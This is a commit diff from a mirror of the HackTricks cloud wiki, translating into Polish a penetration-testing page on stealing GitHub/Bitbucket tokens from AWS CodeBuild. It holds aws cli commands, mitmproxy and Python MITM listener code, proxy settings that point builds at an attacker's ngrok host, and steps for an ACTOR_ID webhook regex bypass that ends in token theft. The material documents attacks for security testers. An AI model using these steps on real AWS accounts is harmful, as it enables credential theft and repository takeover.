mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
+48
-31
@@ -4,45 +4,45 @@
|
||||
|
||||
## Odzyskiwanie skonfigurowanych tokenów Github/Bitbucket
|
||||
|
||||
Najpierw sprawdź, czy są skonfigurowane jakiekolwiek poświadczenia źródłowe, które możesz wyciekować:
|
||||
Najpierw sprawdź, czy istnieją jakieś skonfigurowane poświadczenia źródła, które możesz leak:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
### Via Docker Image
|
||||
### Za pomocą Docker Image
|
||||
|
||||
Jeśli odkryjesz, że uwierzytelnienie do na przykład Github jest ustawione w koncie, możesz **wyeksportować** ten **dostęp** (**token GH lub token OAuth**) poprzez sprawienie, że Codebuild **użyje konkretnego obrazu docker** do uruchomienia budowy projektu.
|
||||
Jeśli okaże się, że w koncie skonfigurowane jest uwierzytelnienie, np. do Github, możesz **exfiltrate** to **access** (**GH token or OAuth token**) poprzez zmuszenie Codebuild do użycia konkretnego Docker image do uruchomienia buildu projektu.
|
||||
|
||||
W tym celu możesz **utworzyć nowy projekt Codebuild** lub zmienić **środowisko** istniejącego, aby ustawić **obraz Docker**.
|
||||
W tym celu możesz **utworzyć nowy projekt Codebuild** lub zmienić **środowisko** istniejącego, aby ustawić **Docker image**.
|
||||
|
||||
Obraz Docker, którego możesz użyć, to [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). To bardzo podstawowy obraz Docker, który ustawi **zmienne środowiskowe `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. To pozwoli ci przechwycić większość ruchu hosta wskazanego w **`https_proxy`** i **`http_proxy`** oraz zaufać certyfikatowi SSL wskazanemu w **`SSL_CERT_FILE`**.
|
||||
Docker image, którego możesz użyć, to [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). To bardzo podstawowy Docker image, który ustawi **zmienne środowiskowe `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. Pozwoli to na przechwycenie większości ruchu hosta wskazanego w **`https_proxy`** i **`http_proxy`** oraz zaufanie certyfikatowi SSL wskazanemu w **`SSL_CERT_FILE`**.
|
||||
|
||||
1. **Utwórz i prześlij swój własny obraz Docker MitM**
|
||||
- Postępuj zgodnie z instrukcjami repozytorium, aby ustawić swój adres IP proxy i ustawić swój certyfikat SSL oraz **zbudować obraz docker**.
|
||||
- **NIE USTAWIAJ `http_proxy`**, aby nie przechwytywać żądań do punktu końcowego metadanych.
|
||||
- Możesz użyć **`ngrok`** jak `ngrok tcp 4444`, aby ustawić proxy do swojego hosta.
|
||||
- Gdy masz zbudowany obraz Docker, **prześlij go do publicznego repozytorium** (Dockerhub, ECR...).
|
||||
2. **Ustaw środowisko**
|
||||
1. **Utwórz i prześlij własny Docker MitM image**
|
||||
- Postępuj zgodnie z instrukcjami z repo, aby ustawić adres IP proxy, ustawić certyfikat SSL i **zbudować docker image**.
|
||||
- **NIE USTAWIAJ `http_proxy`**, aby nie przechwycić żądań do metadata endpoint.
|
||||
- Możesz użyć **`ngrok`** np. `ngrok tcp 4444`, aby ustawić proxy na swój host
|
||||
- Gdy zbudujesz Docker image, **prześlij go do publicznego repo** (Dockerhub, ECR...)
|
||||
2. **Skonfiguruj środowisko**
|
||||
- Utwórz **nowy projekt Codebuild** lub **zmodyfikuj** środowisko istniejącego.
|
||||
- Ustaw projekt, aby używał **wcześniej wygenerowanego obrazu Docker**.
|
||||
- Skonfiguruj projekt tak, aby używał **wcześniej wygenerowanego Docker image**
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **Ustaw proxy MitM na swoim hoście**
|
||||
3. **Skonfiguruj MitM proxy na swoim hoście**
|
||||
|
||||
- Jak wskazano w **repozytorium Github**, możesz użyć czegoś takiego:
|
||||
- Jak wskazano w **Github repo** możesz użyć czegoś takiego:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> Wersja **mitmproxy używana to 9.0.1**, zgłoszono, że w wersji 10 może to nie działać.
|
||||
> Użyto **mitmproxy w wersji 9.0.1**, zgłaszano, że w wersji 10 może to nie działać.
|
||||
|
||||
4. **Uruchom budowę i przechwyć dane uwierzytelniające**
|
||||
4. **Uruchom build i przechwyć poświadczenia**
|
||||
|
||||
- Możesz zobaczyć token w nagłówku **Authorization**:
|
||||
- W nagłówku **Authorization** widać token:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Można to również zrobić z aws cli za pomocą czegoś takiego jak
|
||||
Można to też zrobić z poziomu aws cli przy użyciu polecenia podobnego do:
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
@@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### Via insecureSSL
|
||||
|
||||
**Codebuild** projekty mają ustawienie zwane **`insecureSsl`**, które jest ukryte w interfejsie webowym, można je zmienić tylko z poziomu API.\
|
||||
Włączenie tego pozwala Codebuild na połączenie z repozytorium **bez sprawdzania certyfikatu** oferowanego przez platformę.
|
||||
**Codebuild** projects mają ustawienie o nazwie **`insecureSsl`**, które jest ukryte w interfejsie webowym — można je zmienić tylko przez API.\
|
||||
Włączenie tego pozwala Codebuild połączyć się z repozytorium **bez sprawdzania certyfikatu** oferowanego przez platformę.
|
||||
|
||||
- Najpierw musisz wyenumerować bieżącą konfigurację za pomocą czegoś takiego:
|
||||
- Najpierw musisz wylistować obecną konfigurację za pomocą polecenia takiego jak:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- Następnie, z zebranymi informacjami możesz zaktualizować ustawienie projektu **`insecureSsl`** na **`True`**. Poniżej znajduje się przykład mojej aktualizacji projektu, zwróć uwagę na **`insecureSsl=True`** na końcu (to jest jedyna rzecz, którą musisz zmienić w zebranej konfiguracji).
|
||||
- Ponadto, dodaj również zmienne środowiskowe **http_proxy** i **https_proxy** wskazujące na twój tcp ngrok, jak:
|
||||
- Następnie, korzystając ze zebranych informacji, możesz zaktualizować ustawienie projektu **`insecureSsl`** na **`True`**. Poniżej przykład mojej aktualizacji projektu — zwróć uwagę na **`insecureSsl=True`** na końcu (to jedyna rzecz, którą musisz zmienić względem zebranej konfiguracji).
|
||||
- Ponadto dodaj zmienne środowiskowe **http_proxy** i **https_proxy** wskazujące na twój tcp ngrok, np.:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
@@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Na koniec kliknij na **Build the project**, **credentials** będą **wysyłane w czystym tekście** (base64) do portu mitm:
|
||||
- Na końcu kliknij na **Build the project**, **dane uwierzytelniające** zostaną **wysłane w postaci czystego tekstu** (base64) na port mitm:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~Via HTTP protocol~~
|
||||
### ~~Przez protokół HTTP~~
|
||||
|
||||
> [!TIP] > **Ta luka została naprawiona przez AWS w pewnym momencie w tygodniu 20 lutego 2023 roku (myślę, że w piątek). Więc atakujący nie może już tego nadużywać :)**
|
||||
> [!TIP] > **Ta podatność została naprawiona przez AWS w pewnym momencie w tygodniu 20 lutego 2023 (chyba w piątek). Zatem atakujący nie może już z niej korzystać :)**
|
||||
|
||||
Atakujący z **podwyższonymi uprawnieniami w CodeBuild mógłby ujawnić token Github/Bitbucket** skonfigurowany lub jeśli uprawnienia były skonfigurowane za pomocą OAuth, **tymczasowy token OAuth używany do uzyskania dostępu do kodu**.
|
||||
Atakujący z **podwyższonymi uprawnieniami w CodeBuild mógłby leakować skonfigurowany token Github/Bitbucket** lub jeśli uprawnienia były skonfigurowane przez OAuth, **tymczasowy token OAuth używany do dostępu do kodu**.
|
||||
|
||||
- Atakujący mógłby dodać zmienne środowiskowe **http_proxy** i **https_proxy** do projektu CodeBuild wskazujące na jego maszynę (na przykład `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
@@ -144,7 +144,7 @@ Atakujący z **podwyższonymi uprawnieniami w CodeBuild mógłby ujawnić token
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Następnie zmień URL repozytorium github na używający HTTP zamiast HTTPS, na przykład: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Następnie zmień URL repo github, aby używać HTTP zamiast HTTPS, na przykład: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Następnie uruchom podstawowy przykład z [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na porcie wskazanym przez zmienne proxy (http_proxy i https_proxy)
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
@@ -158,15 +158,32 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Następnie kliknij na **Zbuduj projekt** lub rozpocznij budowę z linii poleceń:
|
||||
- Następnie kliknij **Build the project** lub rozpocznij build z wiersza poleceń:
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- W końcu **dane uwierzytelniające** będą **wysyłane w czystym tekście** (base64) do portu mitm:
|
||||
- Na koniec **poświadczenia** zostaną **wysłane w postaci jawnego tekstu** (base64) na port mitm:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> Teraz atakujący będzie mógł użyć tokena ze swojej maszyny, wylistować wszystkie posiadane uprawnienia i (nadużywać) łatwiej niż korzystając bezpośrednio z usługi CodeBuild.
|
||||
> Teraz atakujący będzie mógł użyć tokena ze swojego komputera, wypisać wszystkie jego uprawnienia i (nad)użyć go łatwiej niż używając bezpośrednio usługi CodeBuild.
|
||||
|
||||
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
|
||||
|
||||
Niewłaściwie skonfigurowane webhooki CodeBuild GitHub, które używają niezakotwiczonych `ACTOR_ID` regexów, pozwalają *niezaufanym* PR-om uruchamiać uprzywilejowane buildy. Jeśli allowlist wygląda jak `123456|7890123` bez `^`/`$`, każdy ID zawierający jeden z tych podciągów będzie pasować. Ponieważ identyfikatory użytkowników GitHub są sekwencyjne, atakujący może ścigać się, aby zarejestrować „eclipsing” ID (superstring zaufanego ID) i wywołać build.
|
||||
|
||||
**Ścieżka ataku**
|
||||
|
||||
1. Znajdź publiczne projekty CodeBuild ujawniające filtry webhook i wydobądź niezakotwiczoną `ACTOR_ID` allowlistę.
|
||||
2. Uzyskaj eclipsing GitHub ID:
|
||||
- Próbkuj globalny licznik ID, tworząc/usuwając organizacje GitHub (org IDs dzielą pulę).
|
||||
- Wstępnie przygotuj wiele tworzeń manifestów GitHub App i uruchom adresy potwierdzające, gdy licznik znajdzie się w odległości ~100 ID od celu, aby szybko zarejestrować bot ID zawierający zaufany podciąg.
|
||||
3. Otwórz PR z konta eclipsing; regex dopasuje podciąg i uruchomi się uprzywilejowany build.
|
||||
4. Użyj build RCE (np. hooki instalacji zależności), aby zrzucić pamięć procesu obsługującego poświadczenia GitHub i odzyskać token PAT/OAuth.
|
||||
5. Mając token z zakresem `repo`, zaproś swoje konto jako współpracownika/admina i wypchnij/zaakceptuj złośliwe commity lub wyeksfiltruj sekrety.
|
||||
|
||||
## References
|
||||
- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user